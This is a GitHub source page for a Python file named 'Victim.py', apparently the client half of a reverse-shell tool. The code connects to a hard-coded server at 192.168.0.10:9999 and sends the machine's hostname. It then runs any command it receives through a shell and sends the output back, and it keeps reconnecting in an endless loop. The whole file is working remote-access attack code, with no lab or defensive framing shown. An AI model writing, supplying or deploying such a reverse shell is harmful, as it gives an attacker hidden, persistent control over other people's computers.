-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathVictim.py
More file actions
129 lines (116 loc) · 4.04 KB
/
Victim.py
File metadata and controls
129 lines (116 loc) · 4.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import os
import socket
import subprocess
import time
import signal
import sys
import struct
class Client(object):
def __init__(self):
# self.serverHost = '192.168.1.9'
self.serverHost = '192.168.0.10'
self.serverPort = 9999
self.socket = None
def register_signal_handler(self):
signal.signal(signal.SIGINT, self.quit_gracefully)
signal.signal(signal.SIGTERM, self.quit_gracefully)
return
def quit_gracefully(self, signal=None, frame=None):
print('\nQuitting gracefully')
if self.socket:
try:
self.socket.shutdown(2)
self.socket.close()
except Exception as e:
print('Could not close connection %s' % str(e))
# continue
sys.exit(0)
return
def socket_create(self):
""" Create a socket """
try:
self.socket = socket.socket()
except socket.error as e:
print("Socket creation error" + str(e))
return
return
def socket_connect(self):
""" Connect to a remote socket """
try:
self.socket.connect((self.serverHost, self.serverPort))
except socket.error as e:
print("Socket connection error: " + str(e))
time.sleep(5)
raise
try:
self.socket.send(str.encode(socket.gethostname()))
except socket.error as e:
print("Cannot send hostname to server: " + str(e))
raise
return
def print_output(self, output_str):
""" Prints command output """
sent_message = str.encode(output_str + str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(sent_message)) + sent_message)
return
def receive_commands(self):
""" Receive commands from remote server and run on local machine """
try:
self.socket.recv(10)
except Exception as e:
print('Could not start communication with server: %s\n' %str(e))
return
cwd = str.encode(str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(cwd)) + cwd)
while True:
output_str = None
data = self.socket.recv(20480)
if data == b'': break
elif data[:2].decode("utf-8") == 'cd':
directory = data[3:].decode("utf-8")
try:
os.chdir(directory.strip())
except Exception as e:
output_str = "Could not change directory: %s\n" %str(e)
else:
output_str = ""
elif data[:].decode("utf-8") == 'quit':
self.socket.close()
break
elif len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = output_bytes.decode("utf-8", errors="replace")
except Exception as e:
# TODO: Error description is lost
output_str = "Command execution unsuccessful: %s\n" %str(e)
if output_str is not None:
try:
self.print_output(output_str)
except Exception as e:
print('Cannot send command output: %s' %str(e))
self.socket.close()
return
def main():
client = Client()
client.register_signal_handler()
client.socket_create()
while True:
try:
client.socket_connect()
except Exception as e:
print("Error on socket connections: %s" %str(e))
time.sleep(5)
else:
break
try:
client.receive_commands()
except Exception as e:
print('Error in main: ' + str(e))
client.socket.close()
return
if __name__ == '__main__':
while True:
main()